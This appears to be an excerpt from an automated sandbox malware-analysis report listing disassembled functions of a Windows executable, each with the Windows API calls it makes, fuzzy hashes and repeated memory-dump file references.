Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f00921c7d977a744da317e48b745ba37cf09dd6c3b5bc4125b27ed0a04dc1cf
Instruction ID: e12ad68517235970f372819fc4810e1a6925d58f8e2a9efc9850197595eff357
Opcode Fuzzy Hash: 3f00921c7d977a744da317e48b745ba37cf09dd6c3b5bc4125b27ed0a04dc1cf
Instruction Fuzzy Hash: DB51B4727055026FE7248B2CED916AAA392FBC1708F64453FE702C73A1D769EC818759

Function 0041A450 Relevance: 4.6, APIs: 3, Instructions: 110windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0041A479
IsWindow.USER32 ref: 0041A4A7
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 0041A576

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: MessagePeek$Window
String ID:
API String ID: 1210580970-0
Opcode ID: 00df3626474bb1b09aa0d555d0412bfbd9baf520bfda7ae11fed0b39836a0f73
Instruction ID: 0d7e6753211f196b27de66e573a62d10e85eaa4fd00422fb984f9c438c29726e
Opcode Fuzzy Hash: 00df3626474bb1b09aa0d555d0412bfbd9baf520bfda7ae11fed0b39836a0f73
Instruction Fuzzy Hash: 00319FB0605206AFD714DF24D984AEBB3A9FF45348F40052EE91593240D778EDA8CBA7

Function 00497032 Relevance: 4.5, APIs: 3, Instructions: 29windowCOMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 0049703F
TranslateMessage.USER32(?), ref: 0049705F
DispatchMessageA.USER32(?), ref: 00497066

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Message$CallbackDispatchDispatcherTranslateUser
String ID:
API String ID: 2960505505-0
Opcode ID: bb5a452c8d41df55dd145ecac0139e9b87bb62daf80a751db9bb3a7394be1c4f
Instruction ID: 9ca26eb516dbd250ba66f91340bc298bdd55ecfbdf5583db3d0318d606e5a4bd
Opcode Fuzzy Hash: bb5a452c8d41df55dd145ecac0139e9b87bb62daf80a751db9bb3a7394be1c4f
Instruction Fuzzy Hash: 4EE09232314200BFD7255B64AC88E7B3BACEFC6B11B04043EF503D1220DB68AC428B69

Function 0049605D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 12COMMON

Download Yara Rule

APIs

SetWindowTextA.USER32(?,j[B), ref: 0049606B

Strings

j[B, xrefs: 00496075, 00496064

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: TextWindow
String ID: j[B
API String ID: 530164218-2073834439
Opcode ID: a15fc34242c832f12e76fe75658eb72e28565bc4d1e928fe63d39c9564589f02
Instruction ID: ee0abe351b450bf38ffbb7a4a97bb80f50ba23bf903093e646ad85aa78eb284f
Opcode Fuzzy Hash: a15fc34242c832f12e76fe75658eb72e28565bc4d1e928fe63d39c9564589f02
Instruction Fuzzy Hash: C6D09E306041019FCF45CF60D944A56BBB1BF94704F258579E446CA121D736CD52EB45

Function 0049247C Relevance: 3.1, APIs: 2, Instructions: 107fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004927A8: __EH_prolog.LIBCMT ref: 004927AD
Part of subcall function 004927A8: GetFullPathNameA.KERNEL32(?,00000104,?,?,?,?), ref: 004927CB
Part of subcall function 004927A8: lstrcpynA.KERNEL32(?,?,00000104), ref: 004927DA

CreateFileA.KERNEL32(00000000,80000000,00000000,0000000C,00000003,00000080,00000000,?,?,?), ref: 00492557
GetLastError.KERNEL32 ref: 00492569

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CreateErrorFileFullH_prologLastNamePathlstrcpyn
String ID:
API String ID: 1034715445-0
Opcode ID: ede51c76cb9fc5cbf59760c9262f1658d3499bed0158a58877afd4ee9d02f4de
Instruction ID: 381d6fb42c94ab2a88038c41e7a97c763dbf3f50d8cc95414d2571e67c71a4ab
Opcode Fuzzy Hash: ede51c76cb9fc5cbf59760c9262f1658d3499bed0158a58877afd4ee9d02f4de
Instruction Fuzzy Hash: FE310672A00605BBEF208E25CE55BBB7F95AB80324F21893FE416DB2D0D6B8D9458758

Function 00413020 Relevance: 3.0, APIs: 2, Instructions: 48timeCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,000003E8), ref: 0041306F
SetTimer.USER32(?,000003E8,?,00000000), ref: 00413088

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Timer$Kill
String ID:
API String ID: 3307318486-0
Opcode ID: 951b173f81fd05b79cf26e78dfbb487c1b5c955eb3dfa1b46c6326720c261883
Instruction ID: c532e8965d0f8de1d86086ae04005d486132d3b98946b65f0df3620ef212afb6
Opcode Fuzzy Hash: 951b173f81fd05b79cf26e78dfbb487c1b5c955eb3dfa1b46c6326720c261883
Instruction Fuzzy Hash: C30113313047209FE720CF39D844B97BBE8BB48746F00892EE58ACB694D7B9E9408B14

Function 004691D0 Relevance: 3.0, APIs: 2, Instructions: 41threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,?), ref: 004691FC
CloseHandle.KERNEL32(00000000,?,00000000,00000000,?), ref: 00469224

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CloseCreateHandleThread
String ID:
API String ID: 3032276028-0
Opcode ID: e897e4f474a0a16a8905b07cd25daaeab821a9ef81295c2fbf80e242deb09d7c
Instruction ID: c1111a4058847d0381e6d27b52872bbc3eac578b7bd55f975dc4d009ad8ce5f8
Opcode Fuzzy Hash: e897e4f474a0a16a8905b07cd25daaeab821a9ef81295c2fbf80e242deb09d7c
Instruction Fuzzy Hash: 70F019757043029BE724CF29E894BABB3A9AFC5711F10496EE046C7290D7B4EC458B55

Function 0049C0BB Relevance: 3.0, APIs: 2, Instructions: 32COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000000,00000000,00497D80,00000000,00000000,00000000,00000000,?,00000000,?,0048F893,00000000,00000000,00000000,00000000,004808BA), ref: 0049C0C4
SetErrorMode.KERNEL32(00000000,?,00000000,?,0048F893,00000000,00000000,00000000,00000000,004808BA,00000000), ref: 0049C0CB

Part of subcall function 0049C11E: GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0049C14F
Part of subcall function 0049C11E: lstrcpyA.KERNEL32(?,.HLP,?,?,00000104), ref: 0049C1F0
Part of subcall function 0049C11E: lstrcatA.KERNEL32(?,.INI,?,?,00000104), ref: 0049C21D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ErrorMode$FileModuleNamelstrcatlstrcpy
String ID:
API String ID: 3389432936-0
Opcode ID: 988d852685dc51f415025719800b0655ae2ff2e495b036f6e647dd5272636fc4
Instruction ID: 4ab15fec14121deb13af55521b8e90933ed9a76096f6ff16ae274b81411d2e2c
Opcode Fuzzy Hash: 988d852685dc51f415025719800b0655ae2ff2e495b036f6e647dd5272636fc4
Instruction Fuzzy Hash: 35F014789042108FDB15EF65D44AB097FE4AF48754F0684AFF4449B3A2CB78D840CF9A

Function 004925D3 Relevance: 3.0, APIs: 2, Instructions: 31fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,0040A34B,?,?,?,?,00000000), ref: 004925EE
GetLastError.KERNEL32(?,?,0040A34B,?,?,?,?,00000000), ref: 004925FB

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 44cb026d3217a40c28648b9c06c38c4fb442a0e61cc5d837186147ddd48572d9
Instruction ID: 7f0d9f230e72c374aa057c4dcc38ad2733131bcf37fb2919ee913ba20ed16f04
Opcode Fuzzy Hash: 44cb026d3217a40c28648b9c06c38c4fb442a0e61cc5d837186147ddd48572d9
Instruction Fuzzy Hash: 6CF0A036144204BBDF211B86DC05F97BF6CEF81770F10C23BB928A66A0D775E8108BA8

Function 00485CC2 Relevance: 3.0, APIs: 2, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000,00480838,00000001), ref: 00485CD3

Part of subcall function 00485B7A: GetVersionExA.KERNEL32 ref: 00485B99

HeapDestroy.KERNEL32 ref: 00485D12

Part of subcall function 004895C5: HeapAlloc.KERNEL32(00000000,00000140,00485CFB,000003F8), ref: 004895D2

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: Heap$AllocCreateDestroyVersion
String ID:
API String ID: 2507506473-0
Opcode ID: d8ace60815b8e1bba707e141a98a52f4244168a32625ee94998fcca6c67ca6e9
Instruction ID: 5012d81c4b172bc21da7b5132d809288e690b01e9c4638cfcdbf0a9e0d04629b
Opcode Fuzzy Hash: d8ace60815b8e1bba707e141a98a52f4244168a32625ee94998fcca6c67ca6e9
Instruction Fuzzy Hash: 1FF09B35654B03BAFF207B316D4A76E35D49B54785F208C3BFC01C81A1EBA88480DB0E

Function 00424C10 Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

LoadImageA.USER32(?,?,00000001,00000020,00000020,00000000), ref: 00424C2B
LoadImageA.USER32(?,?,00000001,00000010,00000010,00000000), ref: 00424C3D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ImageLoad
String ID:
API String ID: 306446377-0
Opcode ID: bc4d8179008c2cb7290f32efa5c605ea8a5c0330329cfceab445509924b1b7ab
Instruction ID: 8e4359537512299381a51f41ec9d9449df3425eab6d4435ed3b404df9ed06c40
Opcode Fuzzy Hash: bc4d8179008c2cb7290f32efa5c605ea8a5c0330329cfceab445509924b1b7ab
Instruction Fuzzy Hash: 6FE0ED3238131177D620CE5A8C85F9BFBA9FB8EB50F140819B344AB1D1C2F1A4458669

Function 00496AD5 Relevance: 3.0, APIs: 2, Instructions: 27threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00496AE8
SetWindowsHookExA.USER32(000000FF,00496E2A,00000000,00000000), ref: 00496AF8

Part of subcall function 0049B8E2: __EH_prolog.LIBCMT ref: 0049B8E7

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: CurrentH_prologHookThreadWindows
String ID:
API String ID: 2183259885-0
Opcode ID: 39d23b4a385917db6b3ad7c7b0c26254f0d80848b1c90f1dc8d5ebc2db5d11b4
Instruction ID: ce9a939163fe6e04df712d7e57a95f972f69e643c4fdb8439d90f9a96f8dbd36
Opcode Fuzzy Hash: 39d23b4a385917db6b3ad7c7b0c26254f0d80848b1c90f1dc8d5ebc2db5d11b4
Instruction Fuzzy Hash: 07F082319012105EDF207B70BD0EF1A3E91EF15315F1506BBB111961E1DB2C9845879D

Function 00493FF1 Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,?,?,?), ref: 00494018
CallWindowProcA.USER32(?,?,?,?,?), ref: 0049402D

Memory Dump Source

Source File: 00000000.00000002.2713903948.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2713866195.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714047289.00000000004A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714096045.00000000004B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714157318.00000000004BA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714206862.00000000004BC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714261897.00000000004CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714318701.00000000004CE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.00000000004FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714372885.0000000000501000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2714540573.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_#U4fdd#U62a4#U795e1.jbxd

Similarity

API ID: ProcWindow$Call
String ID:
API String ID: 2316559721-0
Opcode ID: 3ff4de3ce437a3b2e07841331479c543d3f192f3a4956eae7a851312e42fae0f
Instruction ID: 4b17d1fe8dd33d6dbe45765285974d8cd55e678a79237d2297433f8bd61fd303
Opcode Fuzzy Hash: 3ff4de3ce437a3b2e07841331479c543d3f192f3a4956eae7a851312e42fae0f
